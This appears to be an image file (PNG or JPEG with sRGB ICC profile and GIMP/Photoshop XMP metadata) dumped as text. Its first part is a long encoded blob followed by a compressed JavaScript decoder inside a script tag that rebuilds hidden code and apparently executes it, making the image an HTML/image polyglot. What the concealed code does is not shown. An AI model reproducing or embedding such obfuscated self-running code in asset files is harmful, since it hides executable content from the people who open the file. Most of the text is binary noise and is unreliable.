NIywNArCbPy|YunpM`JspmSyYZgqfLz[nQsgA`I|CnRtuvS^@zi|GameaSVgEnRTrfNTiAkRCdwGV_bkVqoMhd]HM`Rv?W]dlCm}NsUiia|dMkeCdOxJFCCA
Hg}gcHzoYKuTZrNY]INEC|qzrx@m`jhEVbh`CASHv{HseaCsKnQMdzuxPSnGgoPrAy`{AeNRLh{xn^z|um~uA@U~Ay]e|{Sb`BnN]dhRoj?y?tcp^xaDmRqYnL~Rs^QGqf{zIULLFi[LQhc`exYv{F||O^JHAPnBVNoa`YsawHk`e~a[Q
cSWxIdY_Os~B{`XbrNO^]}GLBzsY
[W}o]fya[|M_ZfAAlcVsZkJaXtrB]ycnTM
aKfOYk{k_p]^}Ulk`VNpyHgNrkkZrB_GkCZzzzj
flPojHVfOj}RmFaSqDQT}PRynivPka~}JVtnEB}uSPHDo
eRo_RWBR{t?HeF]jxq|ohAEbDQgjdH[Zsij}mSRp||`glOmgckNFpD][~PQDe`dSkNFMysWmrRhGlgF[vCbGTXS?tnnWYiMU{HQMCsiT_~zWPwb@y_QieWYuexMmxTXQrf`RFBm?ICVgYnk@lFQhqIJ}N]xCfTR{kweKlThmotuGw~_kjUlYCVX|@GybvaajHLcx}
asct@rCjeibbUv{Bx|^jy@oIgrix]myXvVw^kJMTtU?B`iGrMOrv
mVbD}AesARcNCrwfMMKjxnsl{k
o}SRrcMukUyoFT]ImGNBn?mrCk?mQcet^JZ
?fMptL~@^s?w_GktgzcN^uj|MK[xpQgyXaAE
ooTAsgobWWIMzc]{f?spq_rz]@LdUM
[EN^t^_ufr}Q~?|m]tNvJaxmt~{lLWn}qMzosJFxX]yc|LilafgF{fht]yWlcm|RSwiQbwmNlguiDeC}GW|IopxAm@mo@WW_]v^
w~hFozUPSvcX}Qp^P}pWlVVpIvkcZ?}lrVJooLugk{PvW?]uOwO^sK@qsfRIcljSnO~gA]vPO[eqz_dKHD@cjT?GMMC_EoNtnhYAZNWDk?ZMsLsmNBhCY[k@VqrPTJKBBgaRt@
lXGtqT[RnI`w`xrvS[aucdUihoJsQuxJwFvUCTmIDgriCPNJN]k?UbLUk`FTqcH^XCvxp^kVkKlyH{sElEx`T@[BTgE}IC|jq
URAD]RdOU|TMzPadbJngsgf_]GdRMbFWyg}?ufylBVj_jLOnTKzXWAc~]qWpT|E]kLlc{DXE_kM@uFz@aKC}FO[y{X~Zuz`pnZj}DGfuDlyegrqO
krYG|o]iCNlSBQ}B`pp@r`SZpwahwet~~wOLNN?BBwtHQQuKjRt@RuKi
gosEIb{}uXX~RDJy]{Eov
?Q]VHXzMUNfFxhjwJrl}ghB|msp~
ad^PEqs_a_g_@]EFzlUFOlyhbbTTlikoqnXe~fj~dy^ihCTyBlvKVaNMB^QYQx`s@V}
VMphdZlKhsHbcGnLvLOkEm|N?smSS_nZxHMPgTNaYCuQs`M{vKp@
GbxCz]X@Kw@kWnTKIFGSTvAGhHeHtIN{nMcmwU^HyoFCWp|AfW_xkpaKg@
dGf_IWZbYsr|Tm]GNp]fay@sIkrWM~CKbkzQBpi{|}TV|NKHFs{IJsKjTPzSdhKOilAp_ciVqjpqZyiyufZ`HRn`n`R
?zQ^Rv|RWxDZe@AN}lOm]X@?m`HbvCX|o]`NMNDz`ECgGP
RAmhNvjQuMFc^abugdeeZAKyP{?QHmT~RgO]^aj~IEWud{`a}rsJHMPWrUa_zZVq`ROv^Tfbqykuqnk}vY{ppW{Wxm@PVuQSjDqg|nYW||plSkc^NFmhh|erxA]M
?rN}^wcvoevzY}GRZnQ`gV@L_n@XEgcT
STnFDCZG[|M`ewzoUq^Hg?WXxwoDtQeiaFh}t^ITwzKUzeXPF
cgwERPB_tWys|v|X}cjJycGDpaq~WsdpIfhQWqIo@DeZAdsUBbAxpIfkYoi@]YAWuPrfU^OwuXZfPxV_bRSiqRXDhBouj?YmJ}GAjZPl|yAJV^s`bHjX]dxdKhTHM@|AonDHh{}ESPEJdoBx`Tn{Z[dQqXgX@YsBHh@bNk}AMaQ^WJoZ{jlrNbXp]l{}e`GM^JtsLGb[YbgqY`[Cy
AVaqy{sjRDCO}AMaJJxWBnvAAQmtyvFGDqYZUhiwN@fGa@THJPJb_dT?
xUHNhlEsth{aMm{|hwtFdFghWtsh|[iNdll]??TGIs}a
[TL|hWEeTTSqQQ~OI{PqmmBO
iVLMGdeLGskqeFpyK?C@rRVuS]V@nwT|{CbBXLCx@nRLKYtiMBIruGrJYKPNfTvg[PPB^|
Txk_ueRdccXQ?ilEMKxnqUdmC||FfM
ky}}`XxYa?Biy{C_RvGDnMI{ED]?`AKrQrw|_zV`VwJ[nX?}CcT]
KHrYevMtX]Pic{NnT]H?IVaK}o
H]CsqWLPDVeZSKRiahDAJ?eJXwBP@PqsFDehNZ_@thoEwo[oE]tW{qvOVv
Mtz{Ih@xv@@Ux|_Llb|[n_I@mdoIF}j^LpRBOYw~`qBYLP`Mw]SiNlIy^b
KmHG]~RYAVhI^YIPiImwbfgn{^uOAudXIOM@@UAVazh
r_BTE?|WJkN|nEHFflYSdEZdmhBOIqgoOmeLMTWLNW}rvz?cJYmxpZzeB|DMxB~HWFyD_KPU`aQjmebPAX]edfj@Gsd|eaHiaXrDY}@apS|iJaAGUp^zQmfhl}]sDJ?N_VMenz_]dL_q[^UROEuMBP_fHWDoX`lxsvFy[iQbGT^ZAhwxp|ZQidP_ybhWNfWpTQeZSfcsqvce@Lm_sYnTIuexD]
KX~nqGFAlUnbBbWfrXoEjK
FLZmXOaMPTrOeFEMkydlUUhDjYiKWyIAo^e{^^uze_|YtUdOaD@DznMyS|JJJfgC_rEgO{p?Bq~PEcNGR]IX
UGLv{K~?fRxuCINHRQJyqkeONcW]FFLcpt[{[APTKizHdeugHcY`lYi{[Jk^rplAOBy|r`iU?Kv_Xp{Qq@JjiV
wBsk?MOseLK]eio@alKidFDjp^IyUMADOy`fh?rsuEDvz^[yHbjvewoB`POmp~m@XLUBnJFGygn[YJPpYHJPlqVDpNaXd{NJZ~OsVO^xPFFowzFeGFkBE_{zWvMH[}M~nnuETrhKBf@a|Q|@ag
HMkUnWO{?xV}PqTulOoi?Op~hQFkkyhNdVkcaHNZ}BFAaqPPO}W]qIk_VIOMWAos[IiyafTCcfeXBP?{sWYJ@kkl|IVsSn_aXgBGGaWKZNhp{tts~ZyEmyuR]OR
exRu}l`qq|Jicc`~BPqqAUS|yRmbQASXngbaSDwBBoPfMyYLpF|VMVZDLRevZZJLFpvQwn_eclZblM
fVLpJs`@irnAbvO?KNSCXSAi[ij@tHVVbU@
w@?KpJBbNIGQDC?qHQPYtYpfMEGradvHWC[|PWgd@
MEU{UIZ@Gll`?VtN]acNfixGZHUkNBlSffTiHKD^fQOjsiRBF{CAtqJMp{Oq^NDdoQNwGbH[?^nDvii_{KnzxCAr?zlbMTzfNGnduo`XCF[{`|DLiXNpu_kAUu^
A~YwY@~qBn?yUcz_Lemyhd
PrDi^ykn|?k{Vknu}MICR}aaaRtngzd|IB[PqkQaKucJE
^JnGPPaYAdwshm}wgDIaBBI^IPAJN[Jwn}U]_oqgEkGk^pmgdrJVCRURI
mqhzMaIKgKvI]fnbfM}vGJWOut_H{vR_AhlzWc[Nop?@wAGlKcrJkd@PgF^L^}@qPszAQsdQJ[qVuVFK]hlSAYBwE~vuIArX^I{NjLqWHadlpCmJSwSrVPDUY}bl^nJQv
OZrCUBvoe?FC@cpAYpCtjOdavnM
?LvhsCuqbv?}PzXc`@nCW`_BTFtbya?{FJv??UMF_SG}?yD{gMAaFxBUhZDtCI|
NqQ`BhFbK^SNmt_aRYhn[zYhbXm_EPbvUqwg~Tn@|l}oTp[
]i_fN`QXuVFscYs~HCQBAyn?NhGpl~EgjDvdEkvnJv@ktHnfwH]lnlPYNSY`v^wRxrYxJN
rz|@lsDLuoGjneOm?Gl_e|
iJSHmFEfJqjYBj[A~GDPFiCcTGsKReib`^xic|DIkLSbKT[Jx_ZlqoPnejx`?Xc@@A{r[KloI`^bplFNYPX~[w`_SIFLHFEErqZ~~pMo}D]lPfzuqjqzcJYNcPo[
Xkhp{?|S`@~MVPy[Z_RNxWvqJZ^??ywjhmUSNVQ`Bf@Xr@tvmfS|D_ZPDLPWKRyYNcJXBAYhUg
FR}`~?Km{Ioow}eIFIWNE~|`xkv]xi]
]psN]dVAIIxjmC}QSeeec?b_m[w[aYznrM[XwqKAOPE`BU[XsJVMOLxCUKM
BHs~w~yZqhnVf@}khbxvhQ?myyerDPiDCdhRsUzp[TElCtP~UMBKTCpqkgiDs|mjzK[NpOe~LZH_lKJtZTqL_[eDdy@dT^ZG}qgXaPvRB|?EjM]{qkXtZdAd{m[{oXbOId^prwDGaVJenGXoIeDyWdcCNRtOSQLKg
XaLVmZWSMTDFPYIvkNUZQVAWCKC?CH]]PFS`Hgs[KFFLJSdcn@LIh{`LKWbHs{Ro}TVHyP[RjDli
Uo{bg]CzoD@UsZ|[TRf]?TEHxc
}bXDBeZa~}NgnFtTWbnhsSsFrOarb^cJZHtAG?gvV{gcJAohIJeTWoi{UnnMXhVXOllVADHq~nCksnFeKbGnvVISe_vc~p@p~_[hUJ^~epVrXJKeK
CtO]FRZinMwR|MdFNqEUU[cw~DJRfJXcX_Cm|hy}ldSXZjzn[iR`ktRKybq
SG`B`CLcExVCeiBTBGqa`RMN}FuRlpAV_aOB_F_vM
Y{yMnoEavIgOrkNneLEh`xtx@FOMSkYCOnfEeBGxOZXqpmRKLkPq_LkZ}ikE_eHybJP[C~sL@epnN@jIPstHZ
P`tfme@}GlGRODoJcDXH@gTKoLp?~V?KU}~vA^j]EeYaHeH?oecNkD[?lIm?Nuge`C`waCbYxW_GYyRUfkxIrkmiKwjrlh{w[o|WzXB_cJuZe]@yooK~r@R^hp]^WbrOMtxzBL
dFUbw~rULy|PLK{p|ZOnmSvj|ubpDcHxRAf@Th@WqPrHrqrdDRI{yFyK}eGZdjxzZAyhrBTM`B[pAlYgq[aRYe@Gdp|]fe_`MrP
PYL?m?aPB{ZEN[opuzwfSdddeLauO{PBkAvjERSiy`YQTSyR
cPYihiyY]rL`gmnTCJGXQ[@qOgsF~HGOuYuziIlMhMe]_nUV~wYrnTygfSkunXDRMfyXRhXeDPLkQErr~vPifAkdy
ptE{UKsWMtZARCkQl]o[XHCGbsGoOrmGT}FJu]CWIhjs
[ChmAQn@AL}iVn}UXZdG
~BMgCyakA@KzpERwcGZmh@}kb?CGpFPqT
dT]PSPvjMih@V_NTvMoi_Iby
?{j_s[M{gAoI[LVqbEOJai]XMk|ZWUM}|CQq{DalyPE]uCMWL`KpJISZc[fS?Fh_BbdVF`Kk{
o}dY_dxpcZenJUnCUigybWuoCyLOSIvnzfo}nL_}lXZjtsN}XV?D]fRB[z[OCVzR@w^cpkIwnzF
ogjcZ}aPYCFujPH?`tIng`^EsziHwZPSu]{N[n{g`iBzQFQXA
efN}BsEtPeOMPiAwNIap]pjfnTyagaBV_PFNwQEFbkWfvCSkckuwSA@MaOkLzmZ`uqbj~fUQYSZmFuPMzdrzQAWZrSLmsxkTwT`?r{eaA_vCuvlyArmLxafBs~_TyC`]k~PJeJjXMiy?kNM^AAutQNDDk{l@hgBTuObqWMxb_S]s?WQJNp`OiiAw|@tdpDrBErtB[M
m@tTzLlwTNzQ{kZSwN{xjDKphl?Q~hQeZHzEikUkanj@VQbLt|lqLbMIoT^kmhs@x@[o[rPXGMdtbPQ[`lQoImhr~RlxX~uwkgRlty@|eXeXCPINy~gSeAWrMFIYtJN?_K]cW]Qd[h}|AL_`m]gcI@hwp]rDAMwnpSASK_Qi}iqnTiOuK^]NBzKbf_Qt|xWppn^FbtaOuExYY_beqcmPRKR{o^Utd]@hTgKW^mNdf@x?DyK}Fh{MkwH{SKI@nxS
fVSrpOzpH_fqgGD?TrFm~IwXeztrlROYaB_Pez?UbtmLToFQ^R~r[rZX`YmtCnTeB?lQB{VX?BBH~BRI]Sdx^P?VSCJ|xE|Wq|CsgXt}BbW?Yc__rOcpVAZk|V?vfu~LyZvLyxHe?NYY@Z[`F
dpyAjXJo_[eUW@jP^UjdzSITVg{esTsEkz~Fx_DLJwuq^X[Bu[MjJCTJYFDps?oWM~[PIZ^WYCdWRXrgNAigxOhhHZDpX_MC^USggM
BvYAB?PHfgex`}qIDm[}Ct?C}`NNfjMR?MnESSkGwqRPgVVNcSn|h]Ba^]iiTHbGqFMP?igARtDA_rVdZqUnrVI~SbwzDj@{CEwpLROcwq|Z
C~nQzTB]lNQPpZ?d|~lHOz|ck{vE|s@HPhG{e@Zt[hcHoBbq_DrrWxENysBqcvR@?B]dSb]GUha
Vd~QfqYvx`roaCQxQR_tW?qLYumPogVscZsgTTIGQBIn`EfQLRawBYk[s@Eut?Oegarfr`huNwbuvIvlzfZS_nKK}LOl]hUz`i]NoneCQRVIprGbmlc``YkcUAvxPqKMS
g~sJ?lMB@eCE{yM`UpFrCkTdXsDtmlo{t_}EnSJ{qLeQ}yh_QaAAA{VvTDd[TlM^UA
]ygXMMNxpse^bcovAhd_hBFSl`ZRTSKNoMfm[WvdnVITqRlFOGMrPMEoSOagoXiOgNIQDngKjNJnT~
YoJcEurIu~NQI_CqV^W`VHTf
exwacAn@FnMmBXcF{bdv[AkbLDyx^Y]RqVu{OSRQlafqv[sS`y
xN}eSsGbt_}p|?aG^jVZjgBHmDPwUr
ZfaU?XBD|yS{rZu?rtKUX{pdjdI~`o@SbyUGtsHecYQUl{aBZUtOcMiXJ?jQllfXnldkGhhifMbbal}^lKJB[la|uauaI^Plzv`E?yzyyr~xVBN]wXSFJMJS{sNCMWccHbal^v`oeBxFz{hlKrnwHL
bQcBKKzLvWgUvDX^ha]L{jwUKH}mjpPJG?mzp{D^tUIntUUNUobYr~m~b?S
{k@MobBlA~FrBirdiV@LapUrZtk|]q]
OqMi]`jCwFJKeuZy]SIhFeYGhzD|Qn~DpX^rfEspOhH|yBHdeKAIb
WNwtRU{jIGK|eYKNn`w^j`KlZoG?hEv[HUlEIor@BdY|VGRiu[[r{Ra^SE_}MmfVdG^og@XGxqr@JZdJJsrOHgHnjRHT`cqEC}rRLlyWI|Qw}hIaxQUYje_eh_S~B{ZMg^ze
g{[[urglE[cX`ob]tXKTh@DVXJtr^jq]qfyHUPw{r{gfWa_sDsWQXiYH@Qqw?Xxd}nzJHgbOPkSV]JuXcEnELURtrYiJfHfvaSU|Vknp
BVdbYifbLvMCn{Cs~Pcl^HYkDZ
Yx?m|CodvVbYDyRiel|FR|nBgTHHtieCVV}SNrYthn~}VI}VGrDCiho?b_uC
iijXO}rJKdPlJG[_oeENEPv
mB~PV^Tg[DwEMt]nD?kCiY@hRXV]gDcykf?o{cWGjmBjNPQ_Sd^rQcpN@AE@bJK]]iMB{H`OmauF]yKpMZFNb|UMPUz|kKNrKq{TUVH
uMsKaCuc]fkVlJhakTkLgUoXuNZd
bZ^}EsIPdKyzIi_WJlfLHQy~bNzybD?UFqIdMR[R?{VpzczrH`_Gt_OasFnmu[pGpnWsZe~iLp{f?
W[kdvVSRhm?yjoAVjzf~}^IhulIYEMPGgbJOiCaQUbWX@FUoIvKSZy~KhjWQjHHzShgIHaCGyKq^cO|hDxGE{zeIBppAM
]}SU^]l|sEBWkukvAbwLC
OkiceuPJTCy[?xv}KfXXlYne?GXAzFu~EV}AmQNJ^[FSJ{H]kknAJPwEh`nPSZ
S?pHYPQxMbj@gi?zZ{LxQ?x_AXc^h_hOfM
n_Dn`bD[nzznTPwy}fhikriPta`WLvNSJy{BobJxaM{W~C?PXE]K^JaimkvaGe]wdR[QKFES^RA{cd{`N[kjw[pY^SxGjvpR[aZL[RNJHO}@KrXPE^LbZUUPOPWacJLmH]QasbxrZiY^gliX@Sof{xAXUAuqBGlN?m?s|?zvAXfM_]XvridLVFPhBMxYnBVmopO}[qYT_b@uasiEsHsteKzvfceZCR~LXEuu}F?dWI^}YicJYPbDIdQlmlHN|wNXEWZKfmbII}bk}}yqS@AE}eoT^kSrpfM|XQ^IHC?sq{JVXfUgTBZc?fhjBpVs{@QMUAD|ZZ@L
gSxpfrNQz{iUsuC}JwbhVH_Rfvido|?dzATZX}A[ybX@Pc^vtwNLoi]sAL@HpwSB@Kwt{WLM
??eug_CjviJRzfmF@jaAa^HRg^]BxAD`BUwwxsvFvvCi^HsCt~SkEN|e
oUy[Kh~F]NA@jloVbwQoS[ClWqPm~btQZPj_{Ok_M]YZnG}[YWV^
XQSwBjDZKRkqYoL@vm_QGQ_FBbU`p_
wF^vDYpwLX]V{]oVprpoSeRrsDlH@BlAsYbNbYyIQegrcfGVagVlNY
SyAmDuoBj{@Zwqt[JYcFfJBWr~ke|FTUnFKWkqKmUOlmv|}Dzf}{Y~pQ^CoM{PzTAysbfwEqvoaCZFzAOkUHqvb@SLb
axNQLAIhRie@dCEPhxSdCknDUAxwKAwAxvkozSdrukBJUaNZF]`C[}D|@GZtdOY~Y}WWiNsUSbH?PJViT~KnrW_bU]o{qwqwVo^grl^{}viU~~ZOqScwaH[~sfaVU_qErgQgdlzesM]jv~`EtR~nbsRnthCXby?@MuLe^fsm~On
wGFDoS{wW]f|lcpVX]c^lET_s}j]CNskRpirIq_k@rnM
eKl?qpfQtIm^NggyYyq^DppjuyfN_xvmtGdtA^prEL|]PmPP]ek@_QkxjMAOj]V}RhOiG|w
J}UF~l]A]VuD^?}vhNJjCc_WCrGR|emLibZVXjtsldYs[OjvpgTMgQpZx[tV?jJ
nyDmCHqqx@@KZiZenr^nvRwlJoYAetyym^QlKQ`
jwTo`MDZ_RkQLO~M}lyR|ohxmNUHiToaY}e`RRE^tZbFKyHNE|MEYr|tQCpBFkJS@lop]REYUqiclpk[OWMOmaqlwjyhWNacwTCAwB?wRJ
vXiECMLu^w]oPcRSEmSqXQojp`tWU?`tovgyvg?Th^_@EW[X|}QwSvC|eeZLb{pGZJXQ|jiOcGeqsh`m^ZzIJY
cjrNLJnZ|NPAQTODx?uXGRF~GzG@
^~fgYXOeS^NaSeyjwWjvNehN`[gp|}h|QI
SSlRqrRHtP~VeN[PDX^Wmp~mtG@xHY
Wh{^h`j`Kw{ccNPq]XbPVt[OofuPqvjo|Pyv
F{LWpRy}Tr^q@XIC[ybMhaoZIIdccbgDebQAZsluUFGrXpROQD}V|
MAj?FQHztTXQ?v_qXMRdpKECpuGNkmL@IXEV[]d{hz?@HdWoKvtpDNqBEELgWpQC@~oqGQlLDyVuI
hxdWEAlUEXAToSfoHWnlclQqvbhRxiWFXQFFzIZo}[@BBpN`PvI]cY@KpkrVd`HDON`JeZwapvB]oPrd?tVfxXWvE?YdRYWCiWl_^ztNQRKS]kNvo[PaK]aqLmf[wePmKtsEpsqPmJSa~YPBqLmEpk{c^TGsoyCvv[YBd]qY??xsgd|ArxIzBIaS~{sH{eg_spe@aq@qCVNJ{X^d~hpqJrGSj
[mWhPyZMbX|mNGk|ZEdYBwrc?gkLsysDXsIHolxZW`XjmPoWnwyqwGM_CX}~vOIPlRqVCzt]H_md?DCWw~AAHJbXkEuZ`JLY[a
GNC?`oG[rQO@|eV]xXbeK]PeyYDLB_
on]]aaSIsqhaXfNZL[]twnfmx@Caa^MpMm|k`tM
c|UtVdWRZdGsI|ppa{kjv|MvJXoG{o^wR}rLf{SIqlHb_@nMUVC?`GbpIZ]Z_PUdO?L
_JQ~q^F?rZZbRzX?YDEibwZyQeyacJ`@jGuRr|QE
kThzFvjjCvhXI^crCxLaS]mshfb
MEsTjAsiDsEIYdlqINW?iVK~swLDn`oY
@VvR~k^ZeCedcPUZiDSZZY]KlIHUhH@vr{PHzgYWm?lVXnddaRnv^wJxjyArB}OyUaDmEypODP^|G?Ju|Bo??oshUrVuhqdDQyIett]OLvW]w{U[P|BVoGkffryxdoiaU@SSTzsCuTDiRhqzHJ[^JmfGNK_L|JmGF`b
`dPsmN~FA`yJQVybRrN`mzhC}
DKoVo~_~DFYQA{|SKhbRaLpacXOyN{ExlE@afY
Gkwz_{LylJs[iSf}YmkEJOgttqS[T|gtkPUvrjZivHH|YUJXcl
Q_uQmzmoiyiAI`]TIJb}OnuSGcFzWT@M
XyepXnMxcSABdCh_GV]i_TkcdgAmwgIA`uoOfaVH~BLF~{hsKJjkiRkPCJq{Um~JCAIwVvv?vTHl
}^~H}OjRLrhe@^GGmPlruXiXBkE[~[ul{AaDUtRMccNcnGmmsZy[yTiMRkmObFSStIszNipjw{mqFbQNQc}djIffFsO`XiFDfk]PIVd[CxDQ[GshIbJc}?LU^J@eMmVeikaqm}e]yrC^}vgksf[nyeEp{XWNDR@nPYB]yfpy~zKe|HR{cjw`lOihrf~`^rBf[MH{mIeeOEhdmwVhnlm[ML`HH@_n@~DYXIBJCKxjQO^Oqf_O@ysINHdczxKRhmI}_e{?A[OMyJQyRyiR|cItB~rDZnHjwH]tLdtJueeASQUfiK[HZ}qUAAak~aXz[vw[uAE@FenQs^{q_FxEsHHfQjY^_i`_cM|Hgeik?]TYV|[a^AsQ`}iBKMHwiQe~kYekkV]USjRH^HBDL{^WO}nFBdA[nKphB
pQhll@]LWRw?{Sa[H?^pMSr{voqRoM
fV^wCkB{hrV{yP^@ckRPnAKXN[{dA?Gclefras}l]
?LyfWDsssCfx{edMYrGjH~_fPE^TAfZBzS
[iRMQWD_Fs|IH@g|iPdN`TjrJquWa?eI[NpfqXko`t@muBvvS
ocK`lg}~`|Q]aWhnehEOCumZCI|Ymj^xazPYhUGihvAshXEtZ~dhwokVArOZHcwz_{Bnlu|aI{KM]sjW[W}uIdWWHqa
{xMyRElnElFYqEkIHI]ZsgRzngWyv`{|}V^}LkW|ksuXnQuNYtSocRAvhuI^fhXmKXkw|]?mzPYxUY[WvlZ{xle
|@quTK]UD^ZEfCHcUZMKKKgjIEM?rSfG?c|SuxRb~q_]@cuxXyGk`C[]?i[wPqgxlRZIjABAI^}_mkfkj_@JWM`fGWBU{]HEFbn[Ft@mAKAP]G}kQpv_IWK]wV_H~JAkUm[S`mLBAVxfT[w?RUJo]F]Wjfyo}[sdaLYtosxl[u]
UBXiU~N]u[~M}@mUjjMtmhkGobQss^}HThJN@ZvXFyrXSA_a@o
m{KBe{NpJDCbmOALPmURBgD[XFTdGxrCazcYiSSCRjVhRf}@Xy~fDSqCqyxERdGW^I@Ws@`Uc`fmCi|D?jyo{iLCii`iZj]
Z{IATpxzUrJI`bDwAPjUAqPOoHK@Xcg}wMZ~TUYHwV[sabdAOnFdJKYzBrVNDn}wXWh
@?mm}eoeIMGTPeAJZRc^d@BwpiJwyRHPavBoGuEZZWKAW|kU_TbXvsRQo]bAo?Ba^Zd@dYLp]HqmeQo]RM~
IquSHXDSA|jOdudHE}hZrbodk_kNaL_@SMOuGKKFC@|QzUp^QhAC
KWpOA]`tLOdG`FrPawwrjNXQ|O|xEhMXfRfKdQZWeCwx
^z@LGQGpkwToZ]u{QkGxoqHiqyzHpQ[y^gfr?]|id?zxarVwIDZHigY?oFpeao[cBglY{z]TkFKh_^ZH~@BYMONj[hbCJ_rpSeglotM
ATf[DGPypMkm@WyHQJZCOnAcUCYxjDIzcQ|vMZJetk@qzFPWjJxkIVv^cS?n^}slUYYBNkZa?WDykQMLx|_ODbVLs@HmdjSuANsZSug{?ngmcI`g?LOrmmm?FhwrPWPycFUrgUlPvbJ@eXgLQNE@i??N][LpZ}Ahm]XhlqcCIVC|@h`{LZRRpkOjcObBADPQlpEWHO[husyhYzI`WT@X}RP~meZPdzSJyevif~GvlHYSvwFXQX}SuCZ@HI`g`TDtunM^p]]`Cf[lJp[j@k|iQGj}~^TiQQ?Z^lpU^cU^[YpljvEXfaNhJM^BPnpLkegLWw?^oBJ`|
}oSLOQMIajGXhxTeZpEP~hQDWGWURMzVWfJPpSIOin^zYvu@
jRzUEDs|[@IozjWnMi{{J[kV[L?fcwVtpjtnCH
|_l^zfUmchaP}WpYVmdYEmNof`qRg}LDL^~ZgyrTY{eyOYn]?wv_`{yzBwY~|E]npfG^sM
bOIbryOdORYLZnPHd?Bw?TEmjGIZE^PerVz^SocYtt`h}b
Zvd@ShejBbHpb?lQzNuRf`rs`XcMeIXwCqrlSSYWWa
hJPMqr|@RYOsUBV~jN?xQgIckYGIQirk@vH@JYlqf[{Vudtco[bomsQeKRSF[llq{_RedUW^FPSVrsh}QdYB{vDyAquEPXS]J~ndImaGaZZe~DXDWCA
h@~|YRJCQ?{DE]M|^PynnMK[cFl
|r~HiHCjh^wVj@pylImjqIqyawgfjEB}Pq
zzwwRkPLyRF^NhPDA`pSG{FDxjl}saHnlpoBWwdsr[b{yrn_^@JroY[[
Bj'",...']charCodeAtUinyxpf',"for(;e<37213;c[e++]=p-=128,A=A?p-A&&A:(p==34|p==39)&&p)for(p=1;p<128;y=f.map((n,x)=>(U=r[n]*2+1,U=Math.log(U/(h-U)),t-=a[x]*U,U/1250)),t=~-h/(1+Math.exp(M
t))|1,i=o%h<t,o=o%h+(i?t:h-t)*(o>>17)-!i*t,f.map((n,x)=>(U=r[n]+=(i*h/2-r[n]<<13)/((C[n]+=C[n]<4)+.1)>>13,a[x]+=y[x]*(i-t/h))),p=p*2+i)for(f='010202103203210431053106420652065410987541'.split(t=0).map((n,x)=>(U=0,[...n].map((n,x)=>(U=U*997+(c[e-n]|0)|0)),h*32-1&U*997+p+!!A*129)*12+x);o<h*32;o=o*64|M.charCodeAt(d++)&63);return String.fromCharCode(...c)")([],[],1<<17,[0,0,0,0,0,0,0,0,0,0,0,0],new Uint16Array(51e6).fill(1<<15),new Uint8Array(51e6),0,0,0,0))()</script>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
;Zh;Vh;Vh;Zh;Zh;Vh;Vh;Vh;Vh;Vh;Zf;Zf;Zf;Zf;Zf
((((((((((((((((((((((((((((((((((((((((((((((((((
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
5QzTXtRaw profile type exif
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2">
 <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:GIMP="http://www.gimp.org/xmp/"
s:tiff="http://ns.adobe.com/tiff/1.0/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="gimp:docid:gimp:0436af57-22e5-4381-a453-c4fed9a60d8f"
   xmpMM:InstanceID="xmp.iid:805086e4-7879-4294-9bd6-3a2e254ee31c"
   xmpMM:OriginalDocumentID="xmp.did:bc401557-e898-466f-937e-141a87db300c"
   dc:Format="image/png"
   GIMP:Platform="Windows"
   GIMP:TimeStamp="1659627938287078"
   GIMP:Version="2.10.30"
   tiff:Orientation="1"
   xmp:CreatorTool="GIMP 2.10">
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:8d62e6b6-7170-49be-bcce-37d06d37f3db"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-08-04T23:25:56"/>
      stEvt:action="saved"
      stEvt:changed="/"
      stEvt:instanceID="xmp.iid:bc3ea347-a70f-4bb3-913f-531933498d40"
      stEvt:softwareAgent="Gimp 2.10 (Windows)"
      stEvt:when="2022-08-04T23:45:38"/>
  </rdf:Description>










                    M





                                   M






"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
